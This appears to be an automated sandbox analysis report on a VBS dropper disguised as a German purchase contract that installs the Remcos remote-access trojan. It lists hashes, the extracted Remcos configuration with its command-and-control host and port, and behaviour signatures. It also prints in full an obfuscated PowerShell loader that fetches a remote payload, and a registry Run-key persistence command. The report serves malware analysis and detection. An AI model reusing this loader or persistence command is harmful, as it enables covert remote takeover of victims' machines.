Analysis
-
max time kernel
299s -
max time network
299s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
31/10/2024, 02:54
Static task
static1
Behavioral task
behavioral1
Sample
31102024_0254_Kaufvertrag-Markus-Daten.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
31102024_0254_Kaufvertrag-Markus-Daten.vbs
Resource
win10v2004-20241007-en
General
-
Target
31102024_0254_Kaufvertrag-Markus-Daten.vbs
-
Size
366KB
-
MD5
28489bd43750ec8a5017ec4bb7ca68e2
-
SHA1
90e42439a8179e56d56ffd5a2c97d7ff7f0daaca
-
SHA256
7e6c9757b46fc71815670a8056b6db913409bb571775642ef865ea633fe41cc9
-
SHA512
9470e3c42bf13f73bf43abdaacad0721a213b0e5b9376a2ce813ba39d55f8e154fe959dce2dd0cf6cb56904fbbf0003360e4f38e576cf330447cb8d0b9ff1f1c
-
SSDEEP
6144:QUad3PmM9BogPjFvVHhSZH/7h4hpAQErkpZPU/I7CIkKOmPPMWUwUhkOy96SZGFT:aQL6PErk7gvOZMmanT1A02Oh
Malware Config
Extracted
remcos
TelOu62tos
www.tla-autos.com:9945
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
TeleAuto8926-8WB4GE
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Blocklisted process makes network request 8 IoCs
flow pid Process 5 2804 powershell.exe 31 3540 powershell.exe 33 3540 powershell.exe 37 3540 powershell.exe 39 3540 powershell.exe 41 3540 powershell.exe 52 3540 powershell.exe 56 3540 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ineffableness = "%Disfoliage% -windowstyle 1 $Varetagelsen=(gp -Path 'HKCU:\\Software\\Aetheogamic\\').Lerholdighedens;%Disfoliage% ($Varetagelsen)" reg.exe -
pid Process 2804 powershell.exe 3540 powershell.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3540 powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3540 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4508 reg.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2804 powershell.exe 2804 powershell.exe 3540 powershell.exe 3540 powershell.exe 3540 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2804 powershell.exe Token: SeDebugPrivilege 3540 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 880 wrote to memory of 2804 880 WScript.exe 88 PID 880 wrote to memory of 2804 880 WScript.exe 88 PID 3540 wrote to memory of 2788 3540 powershell.exe 102 PID 3540 wrote to memory of 2788 3540 powershell.exe 102 PID 3540 wrote to memory of 2788 3540 powershell.exe 102 PID 2788 wrote to memory of 4508 2788 cmd.exe 104 PID 2788 wrote to memory of 4508 2788 cmd.exe 104 PID 2788 wrote to memory of 4508 2788 cmd.exe 104
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31102024_0254_Kaufvertrag-Markus-Daten.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Mastigophobia pigritia Untractarian Rightists Excerpist Damasceres Campaspe #>;$Rhizophoraceae26='Patriarkaternes';<#Precorruptness Regeringsoverhoveder Polianthes Badelagenerne #>; function Mikki($Fremlysningerne174){If ($host.DebuggerEnabled) {$Hugorme++;}$Grafikrutines=$Theomania+$Fremlysningerne174.'Length'-$Hugorme; for ( $Rasterets240=2;$Rasterets240 -lt $Grafikrutines;$Rasterets240+=3){$Dissour=$Rasterets240;$Monistiskes+=$Fremlysningerne174[$Rasterets240];$Jentjenerne='Kontrakternes';}$Monistiskes;}function Forureningsforebyg($Cuddlier){ & ($Matematikemne) ($Cuddlier);}$Vrinsker=Mikki ' uM no Cz Mi elPelF aTi/ a ';$Vaskemaskinens=Mikki ' AT lEpsSc1 2 i ';$Systemkartoteker='Sc[ InKneArt E.Nes .eCurinvBuiBuCCye pPN.oovIFanEpt mStAE nInA CgSkeKaRFo]e : ,:PhsPaemiC ,UU.RT,iBotSuYlip RrL o jtFao RC Mo el S=,e$SiV aa eSvakSles.MEmA,isPakAriMaN Be SN.psN ';$Vrinsker+=Mikki 'Fr5 T.Af0 c Si(NuWAsi .nFid CoRiwInsD. AnN UTDi Mi1B 0 J. ,0ba; a UbWApiTrnSu6 D4 L;pe SyxEm6In4Me; m Clr v M:Ka1I.3,u1 o. C0 F)K. GrG neopc ekCooU /I.2 T0Wi1No0Su0 A1Em0 .1De FiFS,iRermueExf Bo Cxbo/ e1Ud3 H1Pr.P,0 a ';$Europaudvalg=Mikki 'V u as eRyrSm- BAAtG UEOvnShTSp ';$Medsster=Mikki 'Ruh .tSttSip ds .: N/P / wL wK wR..A,sAfe LvHaet,n utkookao lA.sCu.TrdFjeja/TiwSvp .-AiaAmdSkmn iCunEl/SwuAfsB.e ar n/WacZyeN,rSluFosS e.o.And Sw Pp u ';$Satieno=Mikki 'Sc>,o ';$Matematikemne=Mikki 'FlI BE sXNo ';$Downstrokes='Islamite212';$Radioavisers148='\Udskriftssiders.boe';Forureningsforebyg (Mikki 'Ad$GyG rLOvONob.aAC.lKo: HFoAF,mS pSiEunGT,AChr hNReeThRBoNTrEP s K=Gu$Hpe CNC,VVe:Ura nPK.p edBeA lT aa ,+,e$crrSaa DTri BOS.aEevInIDoSRoe,nRT S .1S,4B 8Be ');Forureningsforebyg (Mikki 'Du$ GC lS ORebFoaMol C:MiF uoDiR Dk aIArNE.Geu2Fr3Kl3,i= S$ErmVoeBadWrSDeS St ee nR S.,rS GpR,LSkiGat T(Ov$ AsMua.oT ,ILieDynAfOep)B ');Forureningsforebyg (Mikki $Systemkartoteker);$Medsster=$Forking233[0];$Antibiotikaer=(Mikki '.r$PrGGaLbaoC.B A KLRe:Tsi.qn.uDE iBav iAnDM.u.eaEkl.niDeS STGiS a=E,N eEKoWBr-Dyo kBOvJ oe.ac MtSe Rs AYP sT tEfe Amar.Z,n eShT,n.HowT,e AbFiC,elVri.le,eNM.tVe ');Forureningsforebyg ($Antibiotikaer);Forureningsforebyg (Mikki 'In$MuI .nNadmai ovDeiSpdTruGraBilBei HsS tTasF,.,eHs,eShaSid e trPrs o[Ur$ iE,ouUnrCooMipsuaOpuHod v PaBelHyg o]So= r$ IVCor ai Mn HsExk einr r ');$Unbloodiness=Mikki ' Y$ RI .n bdBeiObv riNodMuuGua l iD s Ft PsEu.AdDPeo cw,snArlDroS a dK.FGoi SlAneDe(D.$alMNieSkdFlsSis atS,eParDi, P$ cYPodIneNor iSignoeSksS )Ko ';$Yderiges=$Hampegarnernes;Forureningsforebyg (Mikki ' A$ iG elSeoT B iA AL U:BrKQua,oGLiSHytMirVeyPrg,anTaiOvnAmGKi=Ud(FiT NEFeSFiTB.- PGra UtClHso D$AbYPadWie RRoIOrg eKlsSt)An ');while (!$Kagstrygning) {Forureningsforebyg (Mikki 'Wh$U gUdl oo lbStaSalG.:CiPB h aCosGem SaAftBlr noA,pDaeRe=Un$WrtS r SuPre t ') ;Forureningsforebyg $Unbloodiness;Forureningsforebyg (Mikki 'MuSS.tUnAFlRFotEp-HeSK.lB,e teB,Pam Si4ov ');Forureningsforebyg (Mikki 'In$DaG eLOro FbSta ILR :StKFaaApghos,at FrSayMaG hn Di,rnSogIn= .( nt PE SSraTAn- ,PT AunTb hRe Fd$L.y dC.eKerA IOrgInEAts l) t ') ;Forureningsforebyg (Mikki 'Co$G,G Sl eoPaBBiaAkLR.: HhClo lReD ,EwapPilThaUddMoS uEKorT = $InGPolErOBabw aBeLMi:A,PEarErO vAfIStaT.NDotUne.inFiS U+My+ A%Fa$H F KOInrSok iI oN Gh.2Un3Em3Wo. .C aoSnUTwNSmTPa ') ;$Medsster=$Forking233[$Holdepladser];}$Lepidodendrids=339347;$merchandise=28186;Forureningsforebyg (Mikki 'Ra$MaG SLTrOGaBBaA LW,:SaSTroO g nO,eDivB eKrj gSPu D =No DegF.eUntBl-roC SoHyn,iT ReMin AtBe .n$Mny,rDFoE.prFlI RGS EUnsL ');Forureningsforebyg (Mikki 'Dd$Pug.ilHvo eb ra l.a:S S HePrrP vC i Cc Se SyUbdnoe ,lt.sMae erPe Sk=,m Sk[DeSMoyPasKot,ae imM .YeC ooPonPtv yeKirNetf.] A: r:KoFMorRuoCam DBj a asC.eRi6Si4.vS.ft,orali MnskgPu(Co$ .SM oOpgH nUde.evFieRajUdsT.)Cl ');Forureningsforebyg (Mikki 'Ov$ G El FoE,bPaa aLha: nu tNB PCyR moT pEmAFlg,laNeN ,D yiFiS uTPeIO,cF. El=Se Sk[ SsDoy,iSH T PE AM F.ret PEDyXSeTla.ApePonOnC oRaDHyIRuNS gIm]Un:Is:KvA ,SSlcE,IM IMe..hgHyeReT sHaT ,rYaIOpN ng V(Ox$,hS ,eS R BVBrIe CUrE AyR dVueA LRgS EUrRSa)H, ');Forureningsforebyg (Mikki 'In$F gS.lH,OOpBEkAUll,n:UnO .POmLA.SExE mlKaI VGDdh SEErDScE PnvoS.d=Ed$A usjnFlP FrUdOAvpA AKogSeAAfn OdUdi VsAntHeiV cSt.MaSS UobBHest t URStIN NR.gCh(B,$ lAeE RpSuIDiDAno PDKoEhaNG DTiRReISpd EsCe,Fy$BamSkED.r,oc H.ea.hNAcd NISiSSqe.n) n ');Forureningsforebyg $Oplselighedens;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2804
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Mastigophobia pigritia Untractarian Rightists Excerpist Damasceres Campaspe #>;$Rhizophoraceae26='Patriarkaternes';<#Precorruptness Regeringsoverhoveder Polianthes Badelagenerne #>; function Mikki($Fremlysningerne174){If ($host.DebuggerEnabled) {$Hugorme++;}$Grafikrutines=$Theomania+$Fremlysningerne174.'Length'-$Hugorme; for ( $Rasterets240=2;$Rasterets240 -lt $Grafikrutines;$Rasterets240+=3){$Dissour=$Rasterets240;$Monistiskes+=$Fremlysningerne174[$Rasterets240];$Jentjenerne='Kontrakternes';}$Monistiskes;}function Forureningsforebyg($Cuddlier){ & ($Matematikemne) ($Cuddlier);}$Vrinsker=Mikki ' uM no Cz Mi elPelF aTi/ a ';$Vaskemaskinens=Mikki ' AT lEpsSc1 2 i ';$Systemkartoteker='Sc[ InKneArt E.Nes .eCurinvBuiBuCCye pPN.oovIFanEpt mStAE nInA CgSkeKaRFo]e : ,:PhsPaemiC ,UU.RT,iBotSuYlip RrL o jtFao RC Mo el S=,e$SiV aa eSvakSles.MEmA,isPakAriMaN Be SN.psN ';$Vrinsker+=Mikki 'Fr5 T.Af0 c Si(NuWAsi .nFid CoRiwInsD. AnN UTDi Mi1B 0 J. ,0ba; a UbWApiTrnSu6 D4 L;pe SyxEm6In4Me; m Clr v M:Ka1I.3,u1 o. C0 F)K. GrG neopc ekCooU /I.2 T0Wi1No0Su0 A1Em0 .1De FiFS,iRermueExf Bo Cxbo/ e1Ud3 H1Pr.P,0 a ';$Europaudvalg=Mikki 'V u as eRyrSm- BAAtG UEOvnShTSp ';$Medsster=Mikki 'Ruh .tSttSip ds .: N/P / wL wK wR..A,sAfe LvHaet,n utkookao lA.sCu.TrdFjeja/TiwSvp .-AiaAmdSkmn iCunEl/SwuAfsB.e ar n/WacZyeN,rSluFosS e.o.And Sw Pp u ';$Satieno=Mikki 'Sc>,o ';$Matematikemne=Mikki 'FlI BE sXNo ';$Downstrokes='Islamite212';$Radioavisers148='\Udskriftssiders.boe';Forureningsforebyg (Mikki 'Ad$GyG rLOvONob.aAC.lKo: HFoAF,mS pSiEunGT,AChr hNReeThRBoNTrEP s K=Gu$Hpe CNC,VVe:Ura nPK.p edBeA lT aa ,+,e$crrSaa DTri BOS.aEevInIDoSRoe,nRT S .1S,4B 8Be ');Forureningsforebyg (Mikki 'Du$ GC lS ORebFoaMol C:MiF uoDiR Dk aIArNE.Geu2Fr3Kl3,i= S$ErmVoeBadWrSDeS St ee nR S.,rS GpR,LSkiGat T(Ov$ AsMua.oT ,ILieDynAfOep)B ');Forureningsforebyg (Mikki $Systemkartoteker);$Medsster=$Forking233[0];$Antibiotikaer=(Mikki '.r$PrGGaLbaoC.B A KLRe:Tsi.qn.uDE iBav iAnDM.u.eaEkl.niDeS STGiS a=E,N eEKoWBr-Dyo kBOvJ oe.ac MtSe Rs AYP sT tEfe Amar.Z,n eShT,n.HowT,e AbFiC,elVri.le,eNM.tVe ');Forureningsforebyg ($Antibiotikaer);Forureningsforebyg (Mikki 'In$MuI .nNadmai ovDeiSpdTruGraBilBei HsS tTasF,.,eHs,eShaSid e trPrs o[Ur$ iE,ouUnrCooMipsuaOpuHod v PaBelHyg o]So= r$ IVCor ai Mn HsExk einr r ');$Unbloodiness=Mikki ' Y$ RI .n bdBeiObv riNodMuuGua l iD s Ft PsEu.AdDPeo cw,snArlDroS a dK.FGoi SlAneDe(D.$alMNieSkdFlsSis atS,eParDi, P$ cYPodIneNor iSignoeSksS )Ko ';$Yderiges=$Hampegarnernes;Forureningsforebyg (Mikki ' A$ iG elSeoT B iA AL U:BrKQua,oGLiSHytMirVeyPrg,anTaiOvnAmGKi=Ud(FiT NEFeSFiTB.- PGra UtClHso D$AbYPadWie RRoIOrg eKlsSt)An ');while (!$Kagstrygning) {Forureningsforebyg (Mikki 'Wh$U gUdl oo lbStaSalG.:CiPB h aCosGem SaAftBlr noA,pDaeRe=Un$WrtS r SuPre t ') ;Forureningsforebyg $Unbloodiness;Forureningsforebyg (Mikki 'MuSS.tUnAFlRFotEp-HeSK.lB,e teB,Pam Si4ov ');Forureningsforebyg (Mikki 'In$DaG eLOro FbSta ILR :StKFaaApghos,at FrSayMaG hn Di,rnSogIn= .( nt PE SSraTAn- ,PT AunTb hRe Fd$L.y dC.eKerA IOrgInEAts l) t ') ;Forureningsforebyg (Mikki 'Co$G,G Sl eoPaBBiaAkLR.: HhClo lReD ,EwapPilThaUddMoS uEKorT = $InGPolErOBabw aBeLMi:A,PEarErO vAfIStaT.NDotUne.inFiS U+My+ A%Fa$H F KOInrSok iI oN Gh.2Un3Em3Wo. .C aoSnUTwNSmTPa ') ;$Medsster=$Forking233[$Holdepladser];}$Lepidodendrids=339347;$merchandise=28186;Forureningsforebyg (Mikki 'Ra$MaG SLTrOGaBBaA LW,:SaSTroO g nO,eDivB eKrj gSPu D =No DegF.eUntBl-roC SoHyn,iT ReMin AtBe .n$Mny,rDFoE.prFlI RGS EUnsL ');Forureningsforebyg (Mikki 'Dd$Pug.ilHvo eb ra l.a:S S HePrrP vC i Cc Se SyUbdnoe ,lt.sMae erPe Sk=,m Sk[DeSMoyPasKot,ae imM .YeC ooPonPtv yeKirNetf.] A: r:KoFMorRuoCam DBj a asC.eRi6Si4.vS.ft,orali MnskgPu(Co$ .SM oOpgH nUde.evFieRajUdsT.)Cl ');Forureningsforebyg (Mikki 'Ov$ G El FoE,bPaa aLha: nu tNB PCyR moT pEmAFlg,laNeN ,D yiFiS uTPeIO,cF. El=Se Sk[ SsDoy,iSH T PE AM F.ret PEDyXSeTla.ApePonOnC oRaDHyIRuNS gIm]Un:Is:KvA ,SSlcE,IM IMe..hgHyeReT sHaT ,rYaIOpN ng V(Ox$,hS ,eS R BVBrIe CUrE AyR dVueA LRgS EUrRSa)H, ');Forureningsforebyg (Mikki 'In$F gS.lH,OOpBEkAUll,n:UnO .POmLA.SExE mlKaI VGDdh SEErDScE PnvoS.d=Ed$A usjnFlP FrUdOAvpA AKogSeAAfn OdUdi VsAntHeiV cSt.MaSS UobBHest t URStIN NR.gCh(B,$ lAeE RpSuIDiDAno PDKoEhaNG DTiRReISpd EsCe,Fy$BamSkED.r,oc H.ea.hNAcd NISiSSqe.n) n ');Forureningsforebyg $Oplselighedens;"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "ineffableness" /t REG_EXPAND_SZ /d "%Disfoliage% -windowstyle 1 $Varetagelsen=(gp -Path 'HKCU:\Software\Aetheogamic\').Lerholdighedens;%Disfoliage% ($Varetagelsen)"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "ineffableness" /t REG_EXPAND_SZ /d "%Disfoliage% -windowstyle 1 $Varetagelsen=(gp -Path 'HKCU:\Software\Aetheogamic\').Lerholdighedens;%Disfoliage% ($Varetagelsen)"3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4508
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5d336b18e0e02e045650ac4f24c7ecaa7
SHA187ce962bb3aa89fc06d5eb54f1a225ae76225b1c
SHA25687e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27
SHA512e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
478KB
MD5a66871827ec32000db2ab1efb66b2438
SHA1629ca79946fd964665568b28869476f8d691916f
SHA256b08a2437ae0a2ebfc9d15f851d4c422becb7280614dfab150e6be501c481f1bc
SHA5127cd0683ba79a1f42a66eac2d5c2ba04d0b7d4adaa52a2f3e18896803663cb1e7433867bf0e7c8a04397786117d82d24fcca4ed3874382065e045b581230efcc4